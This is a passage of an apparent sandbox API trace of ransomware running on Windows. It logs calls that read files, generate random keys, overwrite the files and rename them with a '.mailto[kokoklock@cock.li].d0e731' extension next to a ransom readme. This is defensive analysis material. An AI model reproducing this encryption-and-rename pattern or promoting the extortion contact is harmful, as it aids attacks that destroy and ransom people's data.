RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.167] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491420 [0080.167] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491420) returned 1 [0080.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491420 [0080.168] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491330 [0080.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491330) returned 1 [0080.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0080.168] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x240bfcf8, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x240bfcf8*=0x4096, lpOverlapped=0x0) returned 1 [0080.168] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.168] WriteFile (in: hFile=0x448, lpBuffer=0x3492280*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x240bfd54, lpOverlapped=0x0 | out: lpBuffer=0x3492280*, lpNumberOfBytesWritten=0x240bfd54*=0x20, lpOverlapped=0x0) returned 1 [0080.169] WriteFile (in: hFile=0x448, lpBuffer=0x3491678*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x240bfd54, lpOverlapped=0x0 | out: lpBuffer=0x3491678*, lpNumberOfBytesWritten=0x240bfd54*=0x20, lpOverlapped=0x0) returned 1 [0080.169] WriteFile (in: hFile=0x448, lpBuffer=0x3491420*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x240bfd54, lpOverlapped=0x0 | out: lpBuffer=0x3491420*, lpNumberOfBytesWritten=0x240bfd54*=0x20, lpOverlapped=0x0) returned 1 [0080.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.169] WriteFile (in: hFile=0x448, lpBuffer=0x3492208*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x240bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x3492208*, lpNumberOfBytesWritten=0x240bfd5c*=0x8, lpOverlapped=0x0) returned 1 [0080.169] WriteFile (in: hFile=0x448, lpBuffer=0x240bfd74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x240bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x240bfd74*, lpNumberOfBytesWritten=0x240bfd5c*=0x4, lpOverlapped=0x0) returned 1 [0080.169] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x240bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x240bfd5c*=0x4, lpOverlapped=0x0) returned 1 [0080.169] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x240bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x240bfd5c*=0x6c, lpOverlapped=0x0) returned 1 [0080.169] WriteFile (in: hFile=0x448, lpBuffer=0x3492258*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x240bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x3492258*, lpNumberOfBytesWritten=0x240bfd5c*=0x20, lpOverlapped=0x0) returned 1 [0080.169] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x240bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x240bfd5c*=0x4, lpOverlapped=0x0) returned 1 [0080.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492258) returned 1 [0080.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492230) returned 1 [0080.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492208) returned 1 [0080.169] CloseHandle (hObject=0x448) returned 1 [0080.170] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428080 [0080.170] wcscpy (in: _Dest=0x3428080, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" [0080.170] wcscat (in: _Dest=0x3428080, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm.mailto[kokoklock@cock.li].d0e731" [0080.170] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_el-gr.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.170] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.171] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428080) returned 1 [0080.171] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm", dwFileAttributes=0x20) returned 0 [0080.171] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd5f0 [0080.171] wcscpy (in: _Dest=0x33cd5f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.171] wcscat (in: _Dest=0x33cd5f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.171] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.171] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd5f0) returned 1 [0080.171] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0080.171] RtlExitUserThread (Status=0x1) Thread: id = 1000 os_tid = 0x16a4 [0080.164] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm")) returned 0x20 [0080.172] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm", dwFileAttributes=0x20) returned 1 [0080.172] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0080.172] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2413fb04 | out: lpFileSize=0x2413fb04*=58549) returned 1 [0080.172] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xe4b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.172] ReadFile (in: hFile=0x448, lpBuffer=0x2413fad8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2413fad4, lpOverlapped=0x0 | out: lpBuffer=0x2413fad8*, lpNumberOfBytesRead=0x2413fad4*=0x4, lpOverlapped=0x0) returned 1 [0080.174] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.174] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492208 [0080.174] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492230 [0080.174] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492258 [0080.174] NtQuerySystemTime (in: CurrentTime=0x2413fab0 | out: CurrentTime=0x2413fab0*=132121176380684256) returned 0x0 [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x9fac8fcb [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0xc543862b [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x1b0d72e9 [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x25ad378e [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x8c8a0a81 [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0xa689e1d9 [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x8ff03db1 [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0xd797231b [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0xe1fa4616 [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x34ade93d [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0xfb5e0da5 [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x3b881733 [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x1204ac27 [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0xf8499cf6 [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0xa51c613a [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0xc5ebb2ca [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x5121a6a2 [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x635d395b [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x752eeb19 [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0xe70bc71c [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x76c468a6 [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x46c5feb9 [0080.174] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0xdec1d605 [0080.175] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x550da148 [0080.175] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x675371cf [0080.175] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x49daf8ab [0080.175] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x37d9a217 [0080.175] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x8801c47a [0080.175] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x2d5b530 [0080.175] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0xb74d6798 [0080.175] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x50478df0 [0080.175] RtlRandom (in: Seed=0x2413fabc | out: Seed=0x2413fabc) returned 0x38f82090 [0080.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492208) returned 1 [0080.186] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.186] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.186] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2413fa88, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2413fa88*=0x4096, lpOverlapped=0x0) returned 1 [0080.187] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492208 [0080.187] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492208) returned 1 [0080.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492208 [0080.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491470 [0080.187] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491470) returned 1 [0080.187] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.187] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.188] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2413fa88, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x2413fa88*=0x4096, lpOverlapped=0x0) returned 1 [0080.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.188] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xe4b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.188] WriteFile (in: hFile=0x448, lpBuffer=0x3492208*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2413fac0, lpOverlapped=0x0 | out: lpBuffer=0x3492208*, lpNumberOfBytesWritten=0x2413fac0*=0x20, lpOverlapped=0x0) returned 1 [0080.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492208) returned 1 [0080.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.188] WriteFile (in: hFile=0x448, lpBuffer=0x3491600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2413fad4, lpOverlapped=0x0 | out: lpBuffer=0x3491600*, lpNumberOfBytesWritten=0x2413fad4*=0x8, lpOverlapped=0x0) returned 1 [0080.188] WriteFile (in: hFile=0x448, lpBuffer=0x2413faec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2413fad4, lpOverlapped=0x0 | out: lpBuffer=0x2413faec*, lpNumberOfBytesWritten=0x2413fad4*=0x4, lpOverlapped=0x0) returned 1 [0080.188] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2413fad4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2413fad4*=0x4, lpOverlapped=0x0) returned 1 [0080.188] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2413fad4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2413fad4*=0x6c, lpOverlapped=0x0) returned 1 [0080.188] WriteFile (in: hFile=0x448, lpBuffer=0x3492230*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2413fad4, lpOverlapped=0x0 | out: lpBuffer=0x3492230*, lpNumberOfBytesWritten=0x2413fad4*=0x20, lpOverlapped=0x0) returned 1 [0080.188] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2413fad4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2413fad4*=0x4, lpOverlapped=0x0) returned 1 [0080.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492230) returned 1 [0080.189] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491448) returned 1 [0080.189] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491600) returned 1 [0080.189] CloseHandle (hObject=0x448) returned 1 [0080.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.189] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" [0080.189] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.mailto[kokoklock@cock.li].d0e731" [0080.189] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.189] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.190] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm", dwFileAttributes=0x20) returned 0 [0080.190] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.190] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.190] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.190] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0080.190] RtlExitUserThread (Status=0x1) Thread: id = 1001 os_tid = 0x16a8 [0080.191] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm")) returned 0x20 [0080.192] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm", dwFileAttributes=0x20) returned 1 [0080.192] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0080.192] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x241bfb28 | out: lpFileSize=0x241bfb28*=58549) returned 1 [0080.192] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xe4b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.192] ReadFile (in: hFile=0x448, lpBuffer=0x241bfafc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x241bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x241bfafc*, lpNumberOfBytesRead=0x241bfaf8*=0x4, lpOverlapped=0x0) returned 1 [0080.194] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.194] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491600 [0080.194] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491628 [0080.194] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491510 [0080.194] NtQuerySystemTime (in: CurrentTime=0x241bfad4 | out: CurrentTime=0x241bfad4*=132121176380841236) returned 0x0 [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x19070145 [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0xede7c529 [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x5178f220 [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0xa181a71a [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0xe7723efc [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x7ff50918 [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x20a03fed [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0xcfe527 [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x2b097aad [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x53b05616 [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0xbdea0897 [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x78b84694 [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0xc898a907 [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x6f010501 [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0xe70392ee [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0xd964ed77 [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0xa86ce5b2 [0080.194] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x3f5ea229 [0080.195] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0xc2f33877 [0080.195] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0xb332ce2d [0080.195] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x15608a15 [0080.195] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x920027b4 [0080.195] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0xfd13ece [0080.195] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x32bcb610 [0080.195] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0xb7a2476d [0080.195] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x573e9ee5 [0080.195] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x697fcb5f [0080.195] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x5ef90ec3 [0080.195] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0xaa9c5a7 [0080.195] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x4efb71e1 [0080.195] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x45238983 [0080.195] RtlRandom (in: Seed=0x241bfae0 | out: Seed=0x241bfae0) returned 0x7df7f789 [0080.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.206] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491600) returned 1 [0080.206] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.206] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.206] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x241bfaac, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x241bfaac*=0x4096, lpOverlapped=0x0) returned 1 [0080.206] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.206] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34913f8 [0080.207] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34913f8) returned 1 [0080.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34915b0 [0080.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491470 [0080.207] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491470) returned 1 [0080.207] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.207] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.207] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x241bfaac, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x241bfaac*=0x4096, lpOverlapped=0x0) returned 1 [0080.207] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.207] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xe4b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.208] WriteFile (in: hFile=0x448, lpBuffer=0x34915b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x241bfae4, lpOverlapped=0x0 | out: lpBuffer=0x34915b0*, lpNumberOfBytesWritten=0x241bfae4*=0x20, lpOverlapped=0x0) returned 1 [0080.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34915b0) returned 1 [0080.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.208] WriteFile 